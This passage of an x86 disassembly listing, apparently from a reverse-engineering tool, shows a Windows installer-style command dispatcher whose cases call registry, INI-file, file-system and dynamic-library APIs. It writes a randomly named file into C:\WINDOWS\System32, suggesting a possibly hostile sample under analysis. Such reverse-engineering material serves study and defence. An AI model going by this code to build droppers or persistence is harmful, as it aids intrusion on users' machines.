		push	dword ptr [eax+8]
		push	esi
		call	sub_405939
		mov	eax, [ebp+8]
		push	dword ptr [eax+0Ch]
		push	edi
sub_401FA4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401FCC	proc near		; DATA XREF: .data:0040FD0Do
					; .data:0041BD65o
		call	sub_405939
		mov	[ebp-4], ebx


loc_401FD4:				; CODE XREF: sub_401439+B65j
					; sub_401FA4+13j
		push	dword ptr [ebp-34h]
		jmp	loc_401BE1
sub_401FCC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_401439


loc_401FDC:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		xor	edi, edi	; jumptable 0040148C case 44
		push	8001h
		inc	edi
		mov	[ebp+var_4], edi
		call	ds:dword_407104	; SetErrorMode
		cmp	dword_42F4D0, ebx
		jl	loc_402093
		push	0FFFFFFF0h
		call	sub_402A9A
		push	edi
		mov	esi, eax
		call	sub_402A9A
		cmp	[ebp+var_14], ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40201D
; END OF FUNCTION CHUNK	FOR sub_401439

; =============== S U B	R O U T	I N E =======================================



sub_402010	proc near		; DATA XREF: .data:0040FE96o
					; .data:0041BEEEo
		push	esi
		call	ds:dword_407108	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40202A


loc_40201D:				; CODE XREF: sub_401439+BD5j
		push	esi
		call	ds:dword_40710C	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
sub_402010	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402028	proc near		; DATA XREF: .data:0040FED5o
					; .data:0041BF2Do
		jz	short loc_40208F


loc_40202A:				; CODE XREF: sub_402010+Bj
		push	dword ptr [ebp+8]
		push	edi
		call	ds:dword_407110	; GetProcAddress
sub_402028	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402034	proc near		; DATA XREF: .data:0040FF40o
					; .data:0041BF98o
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_402077
		cmp	[ebp-1Ch], ebx
		mov	[ebp-4], ebx
		jz	short loc_402059
		push	dword ptr [ebp-1Ch]
		call	sub_401428
		call	esi	; WaitForSingleObject
sub_402034	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40204C	proc near		; DATA XREF: .data:0040FF7Fo
					; .data:0041BFD7o
		test	eax, eax
		jz	short loc_402081
		mov	dword ptr [ebp-4], 1
		jmp	short loc_402081
; ---------------------------------------------------------------------------


loc_402059:				; CODE XREF: sub_402034+Cj
		push	offset off_409000
		push	offset dword_40B040
		push	offset dword_430000
		push	400h
		push	dword ptr [ebp-8]
		call	esi	; WaitForSingleObject
		add	esp, 14h
		jmp	short loc_402081
; ---------------------------------------------------------------------------


loc_402077:				; CODE XREF: sub_402034+4j
		push	dword ptr [ebp+8]
		push	0FFFFFFF7h
		call	sub_404D7E


loc_402081:				; CODE XREF: sub_40204C+2j
					; sub_40204C+Bj ...
		cmp	[ebp-18h], ebx
sub_40204C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402084	proc near		; DATA XREF: .data:00410094o
					; .data:0041C0ECo
		jnz	short loc_40209A
		push	edi
		call	ds:dword_407114	; FreeLibrary
		jmp	short loc_40209A
; ---------------------------------------------------------------------------


loc_40208F:				; CODE XREF: sub_402028j
		push	0FFFFFFF6h
		jmp	short loc_402095
; ---------------------------------------------------------------------------


loc_402093:				; CODE XREF: sub_401439+BBAj
		push	0FFFFFFE7h


loc_402095:				; CODE XREF: sub_402084+Dj
		call	sub_401428


loc_40209A:				; CODE XREF: sub_402084j sub_402084+9j
		push	ebx
		call	ds:dword_407104	; SetErrorMode
		jmp	loc_40292F	; default
sub_402084	endp			; jumptable 0040148C cases 65,66

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_401439


loc_4020A6:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFF0h	; jumptable 0040148C case 45
		call	sub_402A9A
		push	0FFFFFFDFh
		mov	[ebp+var_30], eax
		call	sub_402A9A
		push	2
		mov	esi, eax
		call	sub_402A9A
		push	0FFFFFFCDh
		mov	[ebp+var_2C], eax
		call	sub_402A9A
		push	45h
; END OF FUNCTION CHUNK	FOR sub_401439

; =============== S U B	R O U T	I N E =======================================



sub_4020CC	proc near		; DATA XREF: .data:004101ADo
					; .data:004102D8o ...
		mov	[ebp-34h], eax
		call	sub_402A9A
		push	esi
		mov	[ebp-44h], eax
sub_4020CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4020D8	proc near		; DATA XREF: .data:004101BDo
					; .data:004102E8o ...
		call	sub_405554
		test	eax, eax
		jnz	short loc_4020E8
		push	21h
		call	sub_402A9A


loc_4020E8:				; CODE XREF: sub_4020D8+7j
		lea	eax, [ebp+8]
		push	eax
		push	offset dword_407420
		push	1
		push	ebx
		push	offset dword_407430
		call	ds:dword_407278
		cmp	eax, ebx
		jl	loc_4021DF
		mov	eax, [ebp+8]
		lea	edx, [ebp-8]
		push	edx
		push	offset dword_407440
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_4021D2
		mov	eax, [ebp+8]
		push	esi
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+50h]
		mov	edi, eax
		mov	eax, [ebp+8]
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\vMW03a"
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+24h]
		mov	ecx, [ebp-14h]
		mov	esi, 0FFh
		mov	eax, ecx
		sar	eax, 8
		and	eax, esi
		jz	short loc_40215A
		mov	ecx, [ebp+8]
		push	eax
		push	ecx
		mov	edx, [ecx]
		call	dword ptr [edx+3Ch]
		mov	ecx, [ebp-14h]


loc_40215A:				; CODE XREF: sub_4020D8+73j
		mov	eax, [ebp+8]
		sar	ecx, 10h
		mov	edx, [eax]
		push	ecx
		push	eax
		call	dword ptr [edx+34h]
		mov	eax, [ebp-34h]
		cmp	[eax], bl
		jz	short loc_402180
		mov	edx, [ebp-14h]
		mov	eax, [ebp+8]
		and	edx, esi
		mov	ecx, [eax]
		push	edx
		push	dword ptr [ebp-34h]
		push	eax
		call	dword ptr [ecx+44h]


loc_402180:				; CODE XREF: sub_4020D8+94j
		mov	eax, [ebp+8]
		push	dword ptr [ebp-2Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+2Ch]
		mov	eax, [ebp+8]
		push	dword ptr [ebp-44h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		cmp	edi, ebx
		jl	short loc_4021C9
		mov	esi, offset word_409440
		push	400h
		push	esi
		push	0FFFFFFFFh
		push	dword ptr [ebp-30h]
		mov	word_409440, bx
		push	ebx
		push	ebx
		call	ds:dword_407118	; MultiByteToWideChar
		mov	eax, [ebp-8]
		push	1
		push	esi
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	edi, eax


loc_4021C9:				; CODE XREF: sub_4020D8+C2j
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]


loc_4021D2:				; CODE XREF: sub_4020D8+44j
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		cmp	edi, ebx
		jge	short loc_4021F2


loc_4021DF:				; CODE XREF: sub_4020D8+29j
		mov	dword ptr [ebp-4], 1
		push	0FFFFFFF0h


loc_4021E8:				; CODE XREF: sub_401439+21Cj
					; sub_401439+296j ...
		call	sub_401428
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_4021F2:				; CODE XREF: sub_4020D8+105j
		push	0FFFFFFF4h
		jmp	short loc_4021E8
sub_4020D8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; jumptable 0040148C case 46


sub_4021F6	proc near		; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o

; FUNCTION CHUNK AT 004026E6 SIZE 00000014 BYTES

		push	ebx
		call	sub_402A9A
		mov	edi, eax
		push	11h
		mov	[ebp+8], edi
		call	sub_402A9A
		mov	esi, eax
		mov	eax, [ebp-8]
		push	edi
		mov	[ebp-64h], eax
		mov	dword ptr [ebp-60h], 2
		call	sub_4059F1	; lstrlen
		push	esi
		mov	[eax+edi+1], bl
		call	sub_4059F1	; lstrlen
		mov	edi, offset dword_40A440
		push	0FFFFFFF8h
		push	edi
		mov	[eax+esi+1], bl
		call	sub_4059FD
		push	esi
		push	edi
		call	sub_4059F7	; lstrcat
		mov	eax, [ebp+8]
		push	edi
		mov	[ebp-5Ch], eax
		mov	ax, [ebp-1Ch]
		push	ebx
		mov	[ebp-58h], esi
		mov	[ebp-4Ah], edi
		mov	[ebp-54h], ax
		call	sub_404D7E
		lea	eax, [ebp-64h]
		push	eax
		call	ds:dword_407160
		test	eax, eax
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	ebx
		push	0FFFFFFF9h
		call	sub_404D7E
		jmp	loc_4026DA
; ---------------------------------------------------------------------------


loc_402279:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	eax, 0BADF00Dh	; jumptable 0040148C case 47
		jz	short loc_40229D


loc_402280:				; CODE XREF: sub_401439+748j
					; sub_401439+756j
		push	200010h
		push	0FFFFFFE8h
		push	ebx
		call	sub_4059FD
		push	eax


loc_40228E:				; CODE XREF: sub_401439+50Ej
		call	sub_4052DB


loc_402293:				; CODE XREF: sub_401439+61j
					; sub_401439+6Fj ...
		mov	eax, 7FFFFFFFh
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------


loc_40229D:				; CODE XREF: sub_4021F6+88j
		inc	dword_42F4B4
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_4022A8:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		xor	esi, esi	; jumptable 0040148C case 48
		xor	edi, edi
		cmp	eax, ebx
		jz	short loc_4022B8
		push	ebx
		call	sub_402A9A
		mov	esi, eax


loc_4022B8:				; CODE XREF: sub_4021F6+B8j
		cmp	[ebp-20h], ebx
		jz	short loc_4022C6
		push	11h
		call	sub_402A9A
		mov	edi, eax


loc_4022C6:				; CODE XREF: sub_4021F6+C5j
		cmp	[ebp-14h], ebx
		jz	short loc_4022D4
		push	22h
		call	sub_402A9A
		mov	ebx, eax


loc_4022D4:				; CODE XREF: sub_4021F6+D3j
		push	0FFFFFFCDh
		call	sub_402A9A
		push	eax
		push	ebx
		push	edi
		push	esi
		call	ds:dword_40711C	; WritePrivateProfileStringA
		jmp	loc_4015C8
; ---------------------------------------------------------------------------


loc_4022EA:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	1		; jumptable 0040148C case 49
		mov	dword ptr [ebp+8], 7E4E21h
		call	sub_402A9A
		push	12h
		mov	edi, eax
		call	sub_402A9A
		push	0FFFFFFDDh
		mov	[ebp-30h], eax
		call	sub_402A9A
		push	eax
		push	3FFh
		lea	eax, [ebp+8]
		push	esi
		push	eax
		push	dword ptr [ebp-30h]
		push	edi
		call	ds:dword_407120	; GetPrivateProfileStringA
		mov	eax, [esi]
		cmp	eax, [ebp+8]
		jmp	loc_40177F
; ---------------------------------------------------------------------------


loc_40232A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[ebp-14h], ebx	; jumptable 0040148C case 50
		jnz	short loc_40235A
		push	2
		call	sub_402B76
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4026DA
		push	33h
		call	sub_402A9A
		push	eax
		push	esi
		call	ds:dword_407018	; RegDeleteValueA
		push	esi
		mov	edi, eax
		call	ds:dword_40701C	; RegCloseKey
		jmp	short loc_402379
; ---------------------------------------------------------------------------


loc_40235A:				; CODE XREF: sub_4021F6+137j
		push	22h
		call	sub_402A9A
		mov	ecx, [ebp-14h]
		and	ecx, 2
		push	ecx
		push	eax
		push	dword ptr [ebp-20h]
		call	sub_402B61
		push	eax
		call	sub_402ADA
		mov	edi, eax


loc_402379:				; CODE XREF: sub_4021F6+162j
		cmp	edi, ebx
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	loc_4026DA
; ---------------------------------------------------------------------------


loc_402386:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	eax		; jumptable 0040148C case 51
		call	sub_402B61
		mov	esi, [ebp-14h]
		mov	edi, eax
		mov	eax, [ebp-10h]
		push	2
		mov	[ebp-30h], eax
		call	sub_402A9A
		push	11h
		mov	[ebp-44h], eax
		call	sub_402A9A
		lea	ecx, [ebp+8]
		push	ebx
		push	ecx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	ebx
		push	eax
		push	edi
		mov	dword ptr [ebp-4], 1
		call	ds:dword_407020	; RegCreateKeyExA
		test	eax, eax
		jnz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		cmp	esi, 1
		mov	edi, offset dword_40A440
		jnz	short loc_4023E2
		push	23h
		call	sub_402A9A
		push	edi
		call	sub_4059F1	; lstrlen
		inc	eax


loc_4023E2:				; CODE XREF: sub_4021F6+1DCj
		cmp	esi, 4
		jnz	short loc_4023F5
		push	3
		call	sub_402A7D
		push	esi
		mov	dword_40A440, eax
		pop	eax


loc_4023F5:				; CODE XREF: sub_4021F6+1EFj
		cmp	esi, 3
		jnz	short loc_402409
		push	0C00h
		push	edi
		push	ebx
		push	dword ptr [ebp-18h]
		call	sub_402EBD


loc_402409:				; CODE XREF: sub_4021F6+202j
		push	eax
		push	edi
		push	dword ptr [ebp-30h]
		push	ebx
		push	dword ptr [ebp-44h]
		push	dword ptr [ebp+8]
		call	ds:dword_407004	; RegSetValueExA
		test	eax, eax
		jnz	short loc_402422
		mov	[ebp-4], ebx


loc_402422:				; CODE XREF: sub_4021F6+227j
		push	dword ptr [ebp+8]
		jmp	loc_4024FB
; ---------------------------------------------------------------------------


loc_40242A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	20019h		; jumptable 0040148C case 52
		call	sub_402B76
		push	33h
		mov	edi, eax
		call	sub_402A9A
		cmp	edi, ebx
		mov	[esi], bl
		jz	loc_4026DA
		lea	ecx, [ebp-34h]
		mov	dword ptr [ebp-34h], 3FFh
		push	ecx
		lea	ecx, [ebp+8]
		push	esi
		push	ecx
		push	ebx
		push	eax
		push	edi
		call	ds:dword_407000	; RegQueryValueExA
		xor	ecx, ecx
		inc	ecx
		test	eax, eax
		jnz	short loc_40249E
		cmp	dword ptr [ebp+8], 4
		jz	short loc_402488
		cmp	[ebp+8], ecx
		jz	short loc_402478
		cmp	dword ptr [ebp+8], 2
		jnz	short loc_40249E


loc_402478:				; CODE XREF: sub_4021F6+27Aj
		cmp	[ebp-14h], ebx
		jz	short loc_402480
		mov	[ebp-4], ecx


loc_402480:				; CODE XREF: sub_4021F6+285j
		mov	eax, [ebp-34h]
		mov	[eax+esi], bl
		jmp	short loc_4024FA
; ---------------------------------------------------------------------------


loc_402488:				; CODE XREF: sub_4021F6+275j
		cmp	[ebp-14h], ebx
		jnz	short loc_402494
		mov	dword ptr [ebp-4], 1


loc_402494:				; CODE XREF: sub_4021F6+295j
		push	dword ptr [esi]
		push	esi
		call	sub_405939
		jmp	short loc_4024FA
; ---------------------------------------------------------------------------


loc_40249E:				; CODE XREF: sub_4021F6+26Fj
					; sub_4021F6+280j
		mov	[esi], bl
		mov	[ebp-4], ecx
		jmp	short loc_4024FA
; ---------------------------------------------------------------------------


loc_4024A5:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	20019h		; jumptable 0040148C case 53
		call	sub_402B76
		push	3
		mov	edi, eax
		call	sub_402A7D
		cmp	edi, ebx
		mov	[esi], bl
		jz	loc_4026DA
		cmp	[ebp-14h], ebx
		mov	ecx, 3FFh
		mov	[ebp+8], ecx
		jz	short loc_4024DB
		push	ecx
		push	esi
		push	eax
		push	edi
		call	ds:dword_407008	; RegEnumKeyA
		jmp	short loc_4024F4
; ---------------------------------------------------------------------------


loc_4024DB:				; CODE XREF: sub_4021F6+2D7j
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [ebp+8]
		push	ebx
		push	ecx
		push	esi
		push	eax
		push	edi
		call	ds:dword_40700C	; RegEnumValueA
		test	eax, eax
		jnz	loc_4026DA


loc_4024F4:				; CODE XREF: sub_4021F6+2E3j
		mov	[esi+3FFh], bl


loc_4024FA:				; CODE XREF: sub_4021F6+290j
					; sub_4021F6+2A6j ...
		push	edi


loc_4024FB:				; CODE XREF: sub_4021F6+22Fj
		call	ds:dword_40701C	; RegCloseKey
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_402506:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[esi], bl	; jumptable 0040148C case 54
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	esi
		call	sub_405952
		push	eax
		jmp	loc_401F10
; ---------------------------------------------------------------------------


loc_40251A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFEDh	; jumptable 0040148C case 55
		call	sub_402A9A
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-20h]
		push	eax
		call	sub_4056AC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4026D8


loc_402536:				; CODE XREF: sub_401439+56Aj
					; sub_401439+8D5j ...
		push	eax
		jmp	loc_401581
; ---------------------------------------------------------------------------


loc_40253C:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[ebp-1Ch], ebx	; jumptable 0040148C case 56
		jz	short loc_402552
		push	1
		call	sub_402A7D
		mov	byte ptr aCWindowsSystem, al ; "C:\\WINDOWS\\System32\\vMW03a"
		xor	eax, eax
		inc	eax
		jmp	short loc_40255F
; ---------------------------------------------------------------------------


loc_402552:				; CODE XREF: sub_4021F6+349j
		push	11h
		call	sub_402A9A
		push	eax
		call	sub_4059F1	; lstrlen


loc_40255F:				; CODE XREF: sub_4021F6+35Aj
		cmp	[esi], bl
		jz	loc_4026DA
		lea	ecx, [ebp+8]
		push	ebx
		push	ecx
		push	eax
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\vMW03a"
		push	esi
		call	sub_405952
		push	eax
		call	ds:dword_407124	; WriteFile
		jmp	loc_4015C8
; ---------------------------------------------------------------------------


loc_402584:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	2		; jumptable 0040148C case 57
		mov	[ebp-2Ch], ebx
		call	sub_402A7D
		cmp	eax, 1
		mov	[ebp-8], eax
		jl	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		mov	ecx, 3FFh
		cmp	eax, ecx
		jle	short loc_4025A6
		mov	[ebp-8], ecx


loc_4025A6:				; CODE XREF: sub_4021F6+3ABj
		cmp	[esi], bl
		jz	loc_40263C
		push	esi
		mov	[ebp+0Bh], bl
		call	sub_405952
		cmp	[ebp-8], ebx
		mov	[ebp-34h], eax
		jle	short loc_40263C
		mov	esi, [ebp-2Ch]


loc_4025C2:				; CODE XREF: sub_4021F6+40Cj
		lea	eax, [ebp-30h]
		push	ebx
		push	eax
		lea	eax, [ebp-9]
		push	1
		push	eax
		push	dword ptr [ebp-34h]
		call	ds:dword_407128	; ReadFile
		test	eax, eax
		jz	short loc_40263F
		cmp	dword ptr [ebp-30h], 1
		jnz	short loc_40263F
		cmp	[ebp-18h], ebx
		jnz	short loc_402606
		cmp	byte ptr [ebp+0Bh], 0Dh
		jz	short loc_402616
		cmp	byte ptr [ebp+0Bh], 0Ah
		jz	short loc_402616
		mov	al, [ebp-9]
		mov	[esi+edi], al
		inc	esi
		cmp	al, bl
		mov	[ebp+0Bh], al
		jz	short loc_40263F
		cmp	esi, [ebp-8]
		jl	short loc_4025C2
		jmp	short loc_40263F
; ---------------------------------------------------------------------------


loc_402606:				; CODE XREF: sub_4021F6+3EDj
		movzx	eax, byte ptr [ebp-9]
		push	eax
		push	edi
		call	sub_405939
		jmp	loc_402938
; ---------------------------------------------------------------------------


loc_402616:				; CODE XREF: sub_4021F6+3F3j
					; sub_4021F6+3F9j
		mov	al, [ebp-9]
		cmp	[ebp+0Bh], al
		jz	short loc_40262C
		cmp	al, 0Dh
		jz	short loc_402626
		cmp	al, 0Ah
		jnz	short loc_40262C


loc_402626:				; CODE XREF: sub_4021F6+42Aj
		mov	[esi+edi], al
		inc	esi
		jmp	short loc_40263F
; ---------------------------------------------------------------------------


loc_40262C:				; CODE XREF: sub_4021F6+426j
					; sub_4021F6+42Ej
		push	1
		push	ebx
		push	0FFFFFFFFh
		push	dword ptr [ebp-34h]
		call	ds:dword_407130	; SetFilePointer
		jmp	short loc_40263F
; ---------------------------------------------------------------------------


loc_40263C:				; CODE XREF: sub_4021F6+3B2j
					; sub_4021F6+3C7j
		mov	esi, [ebp-2Ch]


loc_40263F:				; CODE XREF: sub_4021F6+3E2j
					; sub_4021F6+3E8j ...
		mov	[esi+edi], bl
		cmp	esi, ebx
		jmp	loc_4015CA
; ---------------------------------------------------------------------------


loc_402649:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[esi], bl	; jumptable 0040148C case 58
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	dword ptr [ebp-18h]
		push	ebx
		push	2
		call	sub_402A7D
		push	eax
		push	esi
		call	sub_405952
		push	eax
		call	ds:dword_407130	; SetFilePointer
		cmp	[ebp-20h], ebx
		jl	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	loc_4028D5
; ---------------------------------------------------------------------------


loc_402678:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[esi], bl	; jumptable 0040148C case 59
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	esi
		call	sub_405952
		push	eax
		call	ds:dword_407134	; FindClose
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_402692:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[edi], bl	; jumptable 0040148C case 60
		jz	short loc_4026AE
		lea	eax, [ebp-1A4h]
		push	eax
		push	edi
		call	sub_405952
		push	eax
		call	ds:dword_407138	; FindNextFileA
		test	eax, eax
		jnz	short loc_4026ED


loc_4026AE:				; CODE XREF: sub_401439+34Cj
					; sub_4021F6+49Ej
		mov	dword ptr [ebp-4], 1
		mov	[esi], bl
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_4026BC:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	2		; jumptable 0040148C case 61
		call	sub_402A9A
		lea	ecx, [ebp-1A4h]
		push	ecx
		push	eax
		call	ds:dword_40713C	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4026E6
		mov	[edi], bl


loc_4026D8:				; CODE XREF: sub_4021F6+33Aj
		mov	[esi], bl


loc_4026DA:				; CODE XREF: sub_401439+197j
					; sub_401439+29Ej ...
		mov	dword ptr [ebp-4], 1
		jmp	loc_40292F	; default
sub_4021F6	endp			; jumptable 0040148C cases 65,66

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4021F6


loc_4026E6:				; CODE XREF: sub_4021F6+4DEj
		push	eax
		push	edi
		call	sub_405939


loc_4026ED:				; CODE XREF: sub_4021F6+4B6j
		lea	eax, [ebp-178h]
		push	eax
		push	esi
		jmp	loc_402855
; END OF FUNCTION CHUNK	FOR sub_4021F6

; =============== S U B	R O U T	I N E =======================================

; jumptable 0040148C case 62


sub_4026FA	proc near		; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx
		mov	dword ptr [ebp-34h], 0FFFFFD66h
		call	sub_402A9A
		mov	esi, eax
		push	esi
		call	sub_405554
		test	eax, eax
		push	esi
		jz	short loc_402721
		mov	esi, offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\vMW03a"
		push	esi
		call	sub_4059DB
		jmp	short loc_402741
; ---------------------------------------------------------------------------


loc_402721:				; CODE XREF: sub_4026FA+18j
		push	offset aCWindowsSyst_2 ; "C:\\WINDOWS\\System32"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\vMW03a"
		call	sub_4059DB
		push	eax
		call	sub_4054E8
		push	eax
		call	sub_4059F7	; lstrcat
		mov	esi, offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\vMW03a"


loc_402741:				; CODE XREF: sub_4026FA+25j
		push	esi
		call	sub_405C17
		push	2
		push	40000000h
		push	esi
		call	sub_4056AC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_402802
		mov	eax, dword_42F42C
		mov	esi, ds:dword_4070F8
		push	eax
		push	40h
		mov	[ebp-2Ch], eax
		call	esi	; GlobalAlloc
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4027F4
		push	ebx
		call	sub_40311B
		push	dword ptr [ebp-2Ch]
		push	edi
		call	sub_4030E9
		push	dword ptr [ebp-1Ch]
		push	40h
		call	esi	; GlobalAlloc
		mov	esi, eax
		cmp	esi, ebx
		mov	[ebp-30h], esi
		jz	short loc_4027CC
		push	dword ptr [ebp-1Ch]
		push	esi
		push	ebx
		push	dword ptr [ebp-20h]
		call	sub_402EBD
		jmp	short loc_4027BF
; ---------------------------------------------------------------------------


loc_4027A7:				; CODE XREF: sub_4026FA+C7j
		mov	ecx, [esi]
		mov	eax, [esi+4]
		add	esi, 8
		push	ecx
		add	eax, edi
		push	esi
		push	eax
		mov	[ebp-38h], ecx
		call	sub_40568C
		add	esi, [ebp-38h]


loc_4027BF:				; CODE XREF: sub_4026FA+ABj
		cmp	[esi], bl
		jnz	short loc_4027A7
		push	dword ptr [ebp-30h]
		call	ds:dword_4070F4	; GlobalFree


loc_4027CC:				; CODE XREF: sub_4026FA+9Cj
		lea	eax, [ebp-44h]
		push	ebx
		push	eax
		push	dword ptr [ebp-2Ch]
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_407124	; WriteFile
		push	edi
		call	ds:dword_4070F4	; GlobalFree
		push	ebx
		push	ebx
		push	dword ptr [ebp+8]
		push	0FFFFFFFFh
		call	sub_402EBD
		mov	[ebp-34h], eax


loc_4027F4:				; CODE XREF: sub_4026FA+7Dj
		push	dword ptr [ebp+8]
		call	ds:dword_407060	; CloseHandle
		mov	esi, offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\vMW03a"


loc_402802:				; CODE XREF: sub_4026FA+60j
		cmp	[ebp-34h], ebx
		push	0FFFFFFF3h
		pop	edi
		jge	short loc_40281B
		push	0FFFFFFEFh
		pop	edi
		push	esi
		call	ds:dword_407140	; DeleteFileA
		mov	dword ptr [ebp-4], 1


loc_40281B:				; CODE XREF: sub_4026FA+10Ej
		push	edi
		jmp	loc_4021E8
sub_4026FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; jumptable 0040148C case 63


sub_402821	proc near		; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o

; FUNCTION CHUNK AT 0040285F SIZE 00000048 BYTES

		push	ebx
		call	sub_402A7D
		cmp	eax, dword_42F44C
		mov	[ebp+8], eax
		jnb	loc_4026DA
		mov	esi, eax
		mov	eax, [ebp-1Ch]
		imul	esi, 418h
		add	esi, dword_42F448
		cmp	eax, ebx
		jl	short loc_402862
		mov	ecx, [esi+eax*4]
		jnz	short loc_40285F
		add	esi, 18h
		push	esi
sub_402821	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402854	proc near		; DATA XREF: .data:00410CC1o
					; .data:0041CD19o
		push	edi


loc_402855:				; CODE XREF: sub_401439+784j
					; sub_4021F6+4FFj
		call	sub_4059DB
		jmp	loc_40292F	; default
sub_402854	endp ; sp-analysis failed ; jumptable 0040148C cases 65,66

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_402821


loc_40285F:				; CODE XREF: sub_402821+2Dj
		push	ecx
		jmp	short loc_4028D6
; ---------------------------------------------------------------------------


loc_402862:				; CODE XREF: sub_402821+28j
		or	ecx, 0FFFFFFFFh
		sub	ecx, eax
		mov	[ebp-1Ch], ecx
		jz	short loc_402878
		push	1
		call	sub_402A7D
		mov	[ebp-20h], eax
		jmp	short loc_402888
; ---------------------------------------------------------------------------


loc_402878:				; CODE XREF: sub_402821+49j
		push	dword ptr [ebp-14h]
		lea	eax, [esi+18h]
		push	eax
		call	sub_4059FD
		or	byte ptr [esi+9], 1


loc_402888:				; CODE XREF: sub_402821+55j
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-20h]
		mov	[esi+eax*4], ecx
		cmp	[ebp-18h], ebx
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	dword ptr [ebp+8]
		call	sub_40117D
		jmp	loc_40292F	; default
; END OF FUNCTION CHUNK	FOR sub_402821	; jumptable 0040148C cases 65,66

; =============== S U B	R O U T	I N E =======================================

; jumptable 0040148C case 64


sub_4028A7	proc near		; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx
sub_4028A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4028A8	proc near		; DATA XREF: .data:00411489o
					; .data:004115FFo ...
		call	sub_402A7D
		cmp	eax, 20h
		jnb	loc_4026DA
		cmp	[ebp-18h], ebx
		jz	short loc_4028DE
